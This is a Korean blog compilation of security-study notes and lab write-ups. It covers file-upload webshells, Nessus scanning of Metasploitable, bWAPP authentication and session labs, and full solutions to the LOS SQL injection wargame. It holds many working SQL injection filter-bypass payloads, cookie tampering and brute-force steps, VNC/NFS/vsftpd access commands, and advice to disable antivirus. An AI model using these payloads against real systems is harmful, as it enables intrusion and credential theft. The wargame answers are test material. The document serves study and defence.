파일 업로드 취약점에 대해


파일 업로드 취약점?

DBMS Connection 정보


파일 업로드 취약점이 발생하는곳


게시판에 첨부파일 특히 사진 업로드하는 부분

올릴때 버프스위트로 값을 잡아서 자바스크립트에서 걸러주는걸 제거해야한다


웹쉘-서버사이드 스크립트 허용

    -경로 노출(절대 경로)




1.자바스크립 방어(X)->버프스위트로 우회가 가능하다

  ->방어:서버사이드로 방어

  *블랙리스트 방식*<-이게 문제이다


2.확장자를 바꿔가면서 올려야한다 -IIS 허용? asa,cer 등등 우회가 가능하다->그래서 화이트리스트 방식으로 해야한다

php실행 확장 유형

ex)php3,php4 로 바꾸어 올리면 가능하다

방어:화이트리스트 방식



3.IIS취약점


a3_shell.asp;jpg 업로드 가능하다







웹쉘 차단




shelldetect.php


아이디:admin

비밀번호: protect







shelldetect.php 에서 디렉토리를 수정해주고





webshell 을 가지고 오고 다시 디텍터를 키면 







phpshelldetect 는 두가지 방법으로 막아준다 

1.해시값

2.시그니처



파일 업로드 취약점 대응방안 -NeoPI.py 활용


-IC(Index of Coincidence)

문장에 사용하는 텍스트 비율을 통계 내어 암호화 여부를 확인해 구분한다.

즉,정상적인 텍스트가 아닌 특별한 텍스트를 탐지하는데 적합


-Entropy

엔트로피는 어떠한 데이터를 표현하기 위한 평균 정보량을 의미. 데이터가 많을수록 엔트로피가 높은 파일이고, 암호화된 파일의 엔트로피가 높으면 암호화된 텍스트가 많음



-LongestWord

가장 긴 문자열을 식별하여 웹쉘을 찾아내는 방식으로,문자열이 길어지는 이유는 중요한 소스코드를 한 문장으로 인코딩하기 때문















내부 모의해킹 Nessus 최고


내부 모의해킹(고객사)

정기적으로 내부 시스템에 대해서 점검을 하게된다

많은 포트가 열려있지만 접근 통제 솔루션을 두어 접근 할 수있는 포트를 지정하고 제어한다

자주 하지 않아서 많이 취약한 부분이다.


 

외부-웹해킹/모바일(주로 80포트로 사용)


Nessus 취약점 진단 개요


1.Server-Client 구조로 취약점 점검을 하는 서버와 취약점 점검 설정과 결과물을 제공하는 클라이언트로 구성되어있다.


2.플로그 인으로 자세한 부분까지 점검이 가능하고 개발사는 매주 플로그 인을 계속해서 만들어 내고 있으면 사용자도 또한 플로그인 수정이 가능하다


3.스캔의 결과를 XML,HTML,PDF 등 다양한 포맷의 형태로 리포팅 해준다


Scan template

Advaced Scan 을 일반적으로 사용하지만 

PCI-DSS,DROWN Detection등 알아두면 좋은 기능들이 많다



*Advaced Scan을 사용하여 보면




New Scan


metaspoitableV2를 대상으로 Scan을 해보면





취약점 Scan이 중요 순서대로 출력되었다




1524 포트로 접근이 모두 가능하다는 소리이다



VNC 설정 미흡 취약점도 발견되었다

VNC(Virtual Network Computing, 가상 네트워크 컴퓨팅)는 컴퓨터 환경에서 RFB 프로토콜을 이용하여 원격으로 다른 컴퓨터를 제어하는 그래픽 데스크톱 공유 시스템이다


모의해킹 관점에서는 VNC 설정 미흡 취약점에서 발견되었다고 끝나는게 아니라 VNC 취약점으로 칼리리눅스에서 접근이 가능하다는 것을 확인하는 보여주어야 한다 



$cd /var/tmp

echo "password" | vncviewer 192.168.74.129 -autopass





불필요한 nfs 



nfs 파일에 대해 접근을 해보기 위해

showmount 를 사용해야하는데 설치를 해주어야 한다 

apt-get install nfs-common





showmount -e 옵션을 사용해서 결과를 확인 할 수 있다.





nfs는 네트워크 파일 시스템 약자로 리눅스/유닉스 시스템에서 파티션를 공유해서 원격에서도 공유된 파티션을 마치 로컬 파티션 처럼 사용할 수 있는 기능이다.


파일 시스템을 확인해보면



mount -t nfs 192.168.74.129:/ /nfsmount -o nolock




df 명령어는 침해대응에서도 많이 사용하는데 자기가 하지 않은 mount 가 있을경우  백도어가 연결이 되어 있다고 생각하고 df 명령어로 확인 할 수있다



rlogin,rsh 

둘다 root권한으로 바로 들어갈수 있어서 취약점이다.





vsFTP 서버가 노출되어 있다. 


vsFTP 서버가 노출되었다는 소리는 백도어가 있다는 소리인데 모의해킹 관점에서는 백도어가 어디 열려있는지 확인 해야한다. 




노출된 정보를 exploit database 에 검색해서 확인해 볼수도 있고 



칼리 리눅스에서도 확인 할 수 있고




메타스플로잇 에서도 사용이 가능하다 

service postgresql start

mfsconsole

search vsftpd




6200번 포트가 열려있는걸 확인할 수 있다 이건 개발자가 자기가 설정을 해놓고 주석처리를 했어야 하는데 그러지 못해서 발생한 오류이다 





*CVSS base score-영향도 평가

https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator










Attack Vector 

Local : 물리적 분리 접근이 어려움

Adjacent Network :내부에서 접근 가능

Network:외부에서 접근 가능


Access Complexity

LOW:쉽게 공격할 수 있는

Medium:중간 단계

High:많이 어려운 


Authentication 인증

None:아무나 

Single:아이디 패스워드

Multiple:아이디 패스워드 ,otp 


신뢰성:정보를 가지고 올 수 있냐 

무결성:데이터를 조작할수 있냐

가용성: 서비스를 중단할수 있냐 




NFS 취약점을 CVSS 점수로 나눠주면 



CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N

기준에 따라서 확인 하면 
















민감 데이터 노출은 클라이언트와 서버가 통신할 때 SSL 을 사용하여 중요한 정보를 보호하지 않을때 발생하는 취약점

특히 사용자가 민감한 정보를 입력할 때 암호화 저장이 이루어지지 않으면 공격자가 중간에서 정보를 탈취할 수 있다.

또한 데이터 처리와 암호화 저장이 클라이어언트에서 이루어질 경우에도 공격자는 클라이언트 PC를 장악하여 정보 탈취가 가능하므로 데이터 처리와 암호화는 반드시 서버측에서 이루어져야 한다.


Base64 인코딩 복호화 -Secret


Base64는 다른 이진 데이터 변환 규칙과 관계 없이 아스키코드만으로 데이터를 인코딩 하므로 플랫폼 제한 없이 사용할 수 있다.


버프스위트로 HTTP요청을 가로챈 후 쿠키 값을 확인하면 'secret' 이라는 변수가 있는데, secret 변수에는 알 수 없는 문자열이 입력되어 있다


secret 변수의 내용은 Base64 형식으로 인코딩되어 있다.



디코딩할수있는 사이트에 입력한후 힌트의 원문을 출력한다 




대응방안 


원문의 문자열을 길게하고, 좀 더 안전한 해시 함수를 사용하여 보안 위험을 줄이는 것이 좋다



HTTP 페이지 내 평문 데이터


계정 및 비밀번호와 같은 개인정보를 처리하는 페이지에서 네트워크 프로토콜 보안은 필수다


[A2] 세션 관리 취약점 


세션은 웹 사이트에서 서비스를 제공할 때 사용자의 로그인을 유지하기 위하여 사용한다.

세션 관리가 소홀하면 세션을 가로채서 재사용하는 공격이 가능하다




관리자 페이지 접근 -하


URL 주소에 포함된 전달 값을 조작하여 간단히 우회가 가능하였다

URL에 admin 변수를 노출하였다 

URL 정보나 쿠키 값에 admin 이라는 추측하기 쉬운 변수가 있다면 여러 값으로 조작을 시도하여 보는 것이 좋다





admin=1 값을 넣으니까 페이지 잠금을 풀었다는 메시지를 출력한다.

매우 간단한 공격이지만 아직도 이런 공격이 가능하므로 전달되는 값을 유심하게 살펴보아야 한다




관리자 페이지 접근 -중



check the cookies  값을 버프스위트로 확인해보면

Cookie값을 가지고올수 있다.

보면 admin=0 으로 되어있는데 


이렇게 1로 수정하고 프록시 잡아둔거 푸니까 






락이 풀린걸 확인할수 있다



대응방안

난이도 상에 접속하면 페이지가 잠겨있으며 힌트는 데이터베이스 관리자에게 연락하라는 내용의 메시지가 뜬다.


소스코드를 확인해보면




이전 단계와 다르게 admin 변수의 값이 1인지 체크하고 세션 정보가 admin 계정인지 검사한후 페이지의 잠금을 해제한다.





URL 주소 조작을 통한 세션우회


쿠키 값을 url에 출력한다


PHPSESSID=6b7faf5b0028fd746eb029df24b4febe




이제 이 쿠키값을 가지고 다른 브라우저 로그인창에서 세션값 조작만으로 아이디 비밀번호 없이 로그인을 해보면





인증 단계를 거치지 않고 로그인이 가능하다


LOS 워게임으로 알아가는 SQL 인젝션 우회기법!


1.문자열 입력 받을때 무조건 참 만드는 방법

'(싱글쿼터)로 막아두고 모조건 참이 되도록 or 1=1을 입력해준다 


2.주석처리 하는법

# 을 직접 적으로 쓰지 못하니까 %23을 써서 우회한다


3.PW 구하는법

'or id='admin' and length(pw)<9 %23 -길이를 확인한다

'or id='admin' and ascii(substr((pw),1,1))<100 %23 ascii 코드로 한글자 한글자 구한다 


4.공백 우회


1). Tab : %09

  - no=1%09or%09id='admin'

2). Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

3). Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

4). 주석 : /**/

  - no=1/**/or/**/id='admin'

5). 괄호 : ()

  - no=(1)or(id='admin')

6). 더하기 : +

  - no=1+or+id='admin'

7). %0c


5.우회 문자 

'=' -> like,<>,in ()

ascii -> ord(),hex()

substr->substring,left,right,mid


만약 ascii값이 터무니 없게 크게 나오면 확장된 ascii 코드표 참고

출처:http://blog.daum.net/you0ha/18284059



6.or and 필터링 


||,&&=%26%26



7. ereg 함수 우회

대소문자 구별을 하기 때문에  Admin 으로 우회한다

ereg 함수의 취약점:

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 id=%00'or 1=1%23



8.str_replace 우회하기

id=adadminmin



9.싱글쿼터 우회하기

id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다




10.문자열이 ()로 묶여 있을때


')로 탈출이 가능하다




11.주석 우회 ;%00




12.개행 문자 

한줄 주석을 우회할때 유용하게 쓰인다.

%0a




13.항상 참이되는 식 만들기 


//모두 참으로 만들기 

이것은 -1보다 0이 더 크기 때문에 공격이 가능한 것이다.

'>-1#


또한 0이 1보다 작기 때문에 이것도 로그인이 가능하다.

'<1#


꼭 숫자가 한자리만 필요한건 아니다. 다음과 같이 연속적으로 사용이 가능하다.

1'<99#


비교 연산도 마찬가지 이다. 0=1은 0이 될 것이고 0이된 결과 값으로 id=''=0 참이 된다.

'=0=1#


또한 서로 값이 같아야 하는 비교 연산도 있다.

'<=>0#


이렇게 비교 연산을 이용하면 얼마든지 추가 응용이 가능한 공격 이다.

'=0=1=1=1=1=1#

'=1<>1#

'<>1#

1'<>99999#

'!=2!=3!=4#







'WARGAME > LOS' 카테고리의 다른 글

[LOS] 1~20번 문제 한번에 보는 정리된 해설  (0) 2017.12.13
[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12

1번부터 자세하게 적은거 같아서 따로 올릴 필요는 없지만 그래도 정리한겸..



1번-gremlin 


id=1'or 1=1 %23

id가 ''으로 문자열 처리 되어있으니까 

id=1' 막아두고 모조건 참이 되도록 or 1=1을 입력해준다 



2번-cobolt

id값이 있어야 하고 그 id 값은 admin 이여야 하는 문제였다

답:id=admin ' %23 

1번과 같은 방식으로 id에 admin을 입력한뒤 그 뒤를 주석처리 해버리면 문제풀이가 가능하다  %23<-은 url 인코딩을 통해서 나오는 # 주석처리의 결과이다



3번-goblin

sql 쿼리의 특징을 보니 select 쿼리 끝에 항상 참인 결과가 들어가면 그 테이블안에있는 모든 칼럼이 출력되는걸 보고

모든 칼럼을 출력을 했다

여기서 이제 생각할건 그 모든 칼럼중에  admin 을 어떻게 출력할거인가 였는데 

생각보다 쉽게 풀렸다 order by 1로 한개만 출력할수도 있었고 limit를 사용하여 한개만 출력할수 있었다

답:no=2 or 1=1 order by 1



4번-orc

쿼리문이 2개 쓰인 문제이다

$_GET[pw] = addslashes($_GET[pw]); 

$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";

보이는 쿼리문에서는 GET[pw] 가 addslashes 로 묶여 버려서 우회가 "절대" 불가능하다


$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 

이걸 우회해야 답을 풀수 있다.


if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

위 문장을 보면 pw가 값이 입력되야 풀리는걸 볼수있는데


즉 id는 admin 이고 그에 맞는 비밀번호를 구해야한다


https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and length(pw)<9 %23

이렇게 pw의 개수를 참 거짓이 출력되는 화면을 보고 구하고


https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and ascii(substr((pw),1,1))<100 %23

아스키 값을 입력하여 값을 하나하나 구해준다


총 길이는 8

답:295d5844



5번-wolfman


띄어쓰기 우회 %09

*SQL Injection 공격시 공백 문자 필터링시 우회 방법


https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='or%091=1%09limit%091,1%23

공백문자를 필터링해서 우선 모든 칼럼이 나오게 설정한뒤 limit로 값을 지정해준다 



6번-darkelf


or and () 다 못쓰고 항상 참인 경우를 만들기

# =, and, or 필터링 됐을 때

- 각각 like, &&, ||

답:https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw='|| 1=1 limit 1,1 %23 



7번-orge

https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20length(pw)=8%23 길이 찾고

https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20ascii(substr((pw),1,1))=54%23

한문자 한문자 검색


and가 필터링 되면 && 써야하는데 url 문자에 걸리기 때문에 %26%26으로 바꿔서 입력해준다 


답:6c864dec




8번-troll


' 싱글 쿼터가 preg_match로 막혀있는 문제였다

그래서 도저히 id를 직접 입력할수 없는 문제여서 처음엔 싱글쿼터를 우회를 할수있지 않을까? 라는 생각에 도전을 해보았지만

시간만 잡아 먹었다

그리고 ereg 함수가 보여서 ereg 함수를 우회할 방법을 찾으니까 

대소문자 구별을 못하기 때문에  Admin과 같이 하면 우회를 할 수 있다



9번-vampire

str_replace  문자가 있어서 쉽게 우회했다

$_GET[id] = str_replace("admin","",$_GET[id]); 


str_replace 우회하기

id=adadminmin



10번-skeleton

https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw='or 1=1 limit 1,1 %23

뒤에

$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 

1=0을 주석 처리 해버리고

리미트 써서 풀어 주면 답이 출력된다



11번-golem

?pw='|| id like 'admin %26%26 length(pw)<9 %23

길이를 먼저 구해주고 8글자 

?pw=%27||%20id%20like%20%27admin%27%20%26%26%20length(pw)<9%20%23

and or  =

막힌 문자열을 우회처리해서 값을 구해준다 

답:88e3137f



12번-darkknight

pw는 '' 라서 오류를 낼 방법이 없으니까

no로 오류를 발생시켜야한다 no는 숫자라서 space로 오류를 낼수가있다 그래서 오류를 내고 1=1 줘서 모든 값을 출력한다 

그다음 쿼리를 쓰기위해서 id='admin' 을 해야하는데 여기서 ' 싱글쿼터를 막아서 id='admin' 조건을 줄수없으니까 no를 활용해야한다  

그래서 limit사용해서 구조를 파악하니까 admin은 no가 2가 출력이 되었다

그래서 no=2를주고 ascii랑 substr이 막혀서 각각 ord mid 로 우회해서 값을 찾아 입력하였다 

49,99,54,50,98,97,54,102

비밀번호는:1c62ba6f


https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23



13번-bugbear


substr,ascii,',공백,and,or,like,=

각각 우회기법 

substr=mid

ascii=ord,hex

'=우회 못함

공백=%09

and=%26%26

or=||

=,like = in ()


pw=1&&no=1%09||%09%091%09in%09(1)

admin 위치는 no=2

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)


그럼 이제 no를 통해서 admin의 패스워드 길이와 값을 구하면된다

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09length(pw)<9

개수는 8로 구했고


hex 코드 사용해서 하나하나 구해주면 된다 

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09hex(mid((pw),1,1))<(100)

답:735c2773



14번-giant

공백 문자 우회 문제

%0c



15번-assassin

pw=1234 union all select id from prob_assassion %23

pw=1 union all select id from prob_assassin limit 3,1 %23

https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=832%

like 사용법 8%<-8로 시작되는 모든 것을 검색해라



16번-zombie_assassin

ereg 함수의 취약점

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 

id=%00'or 1=1%23



17번-succubus

id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다

?id=\&&pw=%20or%201=1%23


18번-nightmare


사용하는 주석처리가 모두 걸려서 우회할수 있는 방법을 찾았는데

;%00 <-이렇게 우회하면 안걸리고 사용이 가능하였다

그럼 pw를 무조건 참으로 만들고 뒤에 주석만 답이 나올것 같았는데

if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

여기서 pw의 개수 제한이 걸려서

처음에는 strlen의 우회 기법을 찾아서 풀려고 했지만 아무리 찾아봐도 이걸 우회하는 방법은 따로 없어서

모두 참이 되는 값을 바꿔야 겠다 생각을 했다

'or 1=1 보다 간단한 방법이 많아서

'<1# 을 사용하였다

'<1;%00 이러면 4글자라서 답이 나올줄 알았는데 ()묶여 있어서 답이 나오지 않았다

' 뒤에 ) 괄호로 묶어 주었다. 



19번-xavis

pw='or 1=1 and length(pw)=40%23

길이가 40..개

ord(substr((pw),1,1))<200 %23

으로 하나하나 구해보면 

184,249,197,176,198,208,196,161,164,187,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

아스키 코드 확장값 보고 풀었습니다

¸uA°ÆÐA¡¤≫



20번-dragon

#뒤는 한줄 주석이라서 개행해서 풀어야 했다

%0a<- 개행 문자 

줄 바꾼뒤 id='admin' 으로 하면 guest랑 admin 모두 출력되니까

limit로 admin 계정 위치만 잡아주면 답이 나왔다. 

pw='%0a or 1=1 and id='admin' limit 1,1 %23





20번 





#뒤는 한줄 주석이라서 개행해서 풀어야 했다

%0a<- 개행 문자 

줄 바꾼뒤 id='admin' 으로 하면 guest랑 admin 모두 출력되니까

limit로 admin 계정 위치만 잡아주면 답이 나왔다. 

pw='%0a or 1=1 and id='admin' limit 1,1 %23



19번




pw='or 1=1 and length(pw)=40%23

길이가 40..개

ord(substr((pw),1,1))<200 %23

으로 하나하나 구해보면 

아스키코드 :184,249,197,176,198,208,196,161,164,187,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

아스키 코드 확장값 보고 풀었습니다



아스키 코드 확장값

출처:http://blog.daum.net/you0ha/18284059


답:¸uA°ÆÐA¡¤≫



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 1~20번 문제 한번에 보는 정리된 해설  (0) 2017.12.13
[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12

18번






사용하는 주석처리가 모두 걸려서 우회할수 있는 방법을 찾았는데

;%00 <-이렇게 우회하면 안걸리고 사용이 가능하였다

그럼 pw를 무조건 참으로 만들고 뒤에 주석만 답이 나올것 같았는데

if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

여기서 pw의 개수 제한이 걸려서

처음에는 strlen의 우회 기법을 찾아서 풀려고 했지만 아무리 찾아봐도 이걸 우회하는 방법은 따로 없어서

모두 참이 되는 값을 바꿔야 겠다 생각을 했다

'or 1=1 보다 간단한 방법이 많아서

'<1# 을 사용하였다

'<1;%00 이러면 4글자라서 답이 나올줄 알았는데 ()묶여 있어서 답이 나오지 않았다

' 뒤에 ) 괄호로 묶어 주었다. 

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12

비밀번호 무차별 대입 공격(Brute forcer)



비밀번호 무차별 대입 공격은 사용자에 대한 계정 정보를 획득하기 위하여 비밀번호로 입력 가능한 모든 문자 조합을 입력하여 사용자의 계정과 비밀번호가 일치할 때까지 대입하는 공격이다.

자동화 도구를 사용해서 공격할 것이고 무차별 대입 공격을 할 때는 웹 사이트의 비밀번호 정책을 파악한 다음 조합할 문자의 구성과 최소 문자열 길이를 정한다.

문자와 숫자가 조금만 복잡해져도 가능한 조합의 가지 수가 많아지기 때문에 공격에 성공하기 전까지 시간이 많이걸린다


버프스트위의 Intruder 기능을 사용한다.


 Intruder 기능을 사용하기 위해

Send to intruder 을 해서 intruder이쪽으로 값을 전달했다.


 intruder 탭에서 positions 탭을 클릭해서 §로 Payload가 들어갈 위치를 지정한다.

요청에 실리는 password 변수에만 Payload를 실을 수 있도록 위치를 변경한다



이렇게 위치를 변경해주고







공격 타입과 최대 길이를 지정해서 start attack 버튼을 클릭하면 공격을 할 수 있다.




대응방안 


아이디와 비밀번호를 알고 있어도 캡챠를 입력하게 한다. 따라서 무차별 대입 공격이 불가능하다

이렇게 값을 입력해야 로그인을 하게하면 CAPTCHA 값까지 무작위 공격을 할수 없게되어 대응을 할 수 있다.


비밀번호 사전 대입공격


비밀번호 사전 대입 공격은 무차별 대입 공격과 비슷해 보이지만 비밀번호를 설정하는 사람들이 선호하는 문자열을 대입하는 공격이다. 

인증 과정의 암호화가 복잡하여도 사용자가 설정하는 비밀번호가 간단하다면 공격자는 다른 사용자로 쉽게 로그인 할 수 있다.

따라서 사용자들이 가장 즐겨 쓰는 비밀번호를 마치 사전처럼 기록한 파일에 있는 문자열을 하나씩 대입하여 공격을 시도한다.

문자열을 하나씩 대입하여 공격 결과를 확인하기 때문에 무차별 대입 공격보다는 공격 속도가 빠르다. 

하지만 사전 파일에 비밀번호 정보가 없다면 공격은 실패한다.



사전공격에 사용할 비밀번호 목록 파일을 다운로드한다.

FuzzDB를 다운로드 하여 사용한다.

FuzzDB는 퍼징에 사용되는 입력 값을 모은 데이터베이스이다. 아까 비밀번호 무차별 대입 공격 처럼 버프스위트에 Intruder기능을 사용해서 공격 해볼것인데

FuzzDB는 구글에서 간단히 받아서 사용이 가능하다


근데 다운로드 할때 백신 프로그램을 깔아두면 바이러스가 발견된다고 삭제당한다.

백신을 잠깐 끄고 받아서 압축을 풀면 받을수 있다



그리고  비밀번호 무차별 대입 공격  처럼 버프스위트를 설정해주고 어택 하면 공격이 가능하다 



 



 



'OWASP top 10 ' 카테고리의 다른 글

[A3] 민감 데이터 노출  (0) 2017.12.15
[A2] 세션 관리 취약점  (0) 2017.12.13
[A2] 인증 결함 -안전하지 않은 로그인 형식  (0) 2017.12.13
[A1] Blind SQL 인젝션  (0) 2017.12.12
[A1] SQL 인젝션  (0) 2017.12.03

인증결함


인증 결함 이란 인증에 필요한 사용자의 계정 정보를 노출하는 취약점으로, 보통 웹 페이지의 HTML 코드에 계정 정보를 노출하거나 인증을 GET 메서드로 요청하여 URL에 계정 정보가 노출한다. 

또한 웹 사이트에 가입할 때 추측할 수 있거나 무차별 대입 공격이 가능한 비밀번호 입력을 허용하는 경우도 포함한다.

이외에도 비밀번호 찾기 기능에서 사용자의 계정 정보를 노출하기도 한다.


1.ba_insecure_login_1.php(하)


웹 페이지가 안전하지 않은 로그인 형식을 사용하는지 점검 한다.




웹페이지의 소스코드를 분석해보면



전송 방식은 POST 방식을 사용하고 있고 action 으로 bWAPP/ba_insecure_login_1.php 여기로 전송해주고있다

코드를 분석해 보면 딱봐도 font 에 값이 써있는데 이걸 black 으로 바꿔주면




로그인창 옆에 그대로 출력되는걸 볼수있다.


각각 입력하고 로그인해주면 로그인이 된다.




1.ba_insecure_login_1.php(중)


난이도 중은 이미 값이 입력이 되어있다


개발자 도구로 우선 로그인창의 form 태그를 분석해봤는데 직접적으로 얻을 수 있는 정보는 없고 비밀번호를 클릭했을때 unlock_secret() 만 호출되는것을 볼수있다.


이제 unlock_secret() 함수를 소스보기를 통해서 찾으면 


이렇게 비밀번호를 만드는 복호화 함수 정보가 모두 노출되어 있었다. 


조건문 위의 secret  변수에 d,j,k,q,x,t,o,g,h,d,p 라는 문자열이 대입되어 있다.

unlock_secret 함수는 charAt 함수를 호출한다. 


즉 secret 변수에 대입된 값은 문자가 아닌 var 타입으로 선언된 변수다. 같은 변수 명이 여러 번 등장하는 것으로 보아 변수에 입력한 값을 계속 덮어 쓰고 있다. 

가장 마지막에 선언된 변수에 해당하는 값으로 원래 secret 내용을 찾는다


var bWAPP = "bash update killed my shells!"


첫번째 d를 찾아보면 charAt(23) 즉 문자열 24번째 존재하는 값이다

저 위에서 첫 번째 문자는 h이다


다음 두번째 j를 보면 charAt(5) 이다 즉 6번째 존재하는 값이다 

두번째 문자는 u


다음 k를 확인하면 charAt(14) 즉 15번째 존재하는 값이다 

세번쨰 문자는 l


....

이런식으로 다 구해주면 

hulk smash 값이 출력이 된다




대응 방안 

난이도 상에서는 난이도 하 처럼 로그인 폼에서  color 태그로 숨겨 놓은것도 소스보기를 통해서도 아무런 힌트를 얻을수 없었다 

페이지 정보에 값을 노출하면 안된다.








'OWASP top 10 ' 카테고리의 다른 글

[A2] 세션 관리 취약점  (0) 2017.12.13
[A2] 인증 결함 -비밀번호 무차별 대입 공격  (0) 2017.12.13
[A1] Blind SQL 인젝션  (0) 2017.12.12
[A1] SQL 인젝션  (0) 2017.12.03
[A1] SSI 코드 인젝션  (0) 2017.12.02

17번-succubus







id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다



답: ?id=\&&pw=%20or%201=1%23




'WARGAME > LOS' 카테고리의 다른 글

[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12

16번


ereg 함수의 취약점

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 

id=%00'or 1=1%23



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12

15번 문제


pw=1234 union all select id from prob_assassion %23

pw=1 union all select id from prob_assassin limit 3,1 %23

https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=832%


like 사용법 8%<-8로 시작되는 모든 것을 검색해라




'WARGAME > LOS' 카테고리의 다른 글

[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12
[LOS] 12번 문제-darkknight  (0) 2017.12.10

14번



공백 문자 우회 문제

%0c

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12
[LOS] 12번 문제-darkknight  (0) 2017.12.10
[LOS] 11번 문제-golem  (0) 2017.12.10

13번




substr,ascii,',공백,and,or,like,=

각각 우회기법 

substr=mid

ascii=ord,hex

'=우회 못함

공백=%09

and=%26%26

or=||

=,like = in ()




pw=1&&no=1%09||%09%091%09in%09(1)


admin 위치는 no=2

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)



그럼 이제 no를 통해서 admin의 패스워드 길이와 값을 구하면된다


pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09length(pw)<9

개수는 8로 구했고


hex 코드 사용해서 하나하나 구해주면 된다 

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09hex(mid((pw),1,1))<(100)

답:735c2773



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 12번 문제-darkknight  (0) 2017.12.10
[LOS] 11번 문제-golem  (0) 2017.12.10
[LOS] 10번 문제-skeleton  (0) 2017.12.10

Blind SQL 인젝션


쿼리의 결과를 참과 거짓만으로만 출력하는 페이지에서 사용하는 공격이다.

출력 내용이 참과 거짓 밖에 없어서 데이터베이스의 내용을 추측하여 쿼리를 조작한다.


1.Boolean Based

1. 싱글쿼터 ' 를 입력하여 SQL 인젝션이 가능한지 알아본다. SQL 인젝션 취약점이 있는 경우 SQL 오류 메시지를 출력한다.


이렇게 문법 오류가 탐지되었다는건  SQL 인젝션 공격이 가능하다는 것이다


이제 항상 참으로 만드는 쿼리를 삽입한다


SQL 인젝션 결과 해당 영화가 존재한다는 메시지를 출력하는데, 이는 결과가 참 일 때 웹 페이지에서 출력하는 메시지다.

이때 검색란을 통하여 Boolean Based SQL 인젝션 공격이 가능하다.



결과가 거짓일 때는 다른 결과가 나온다 

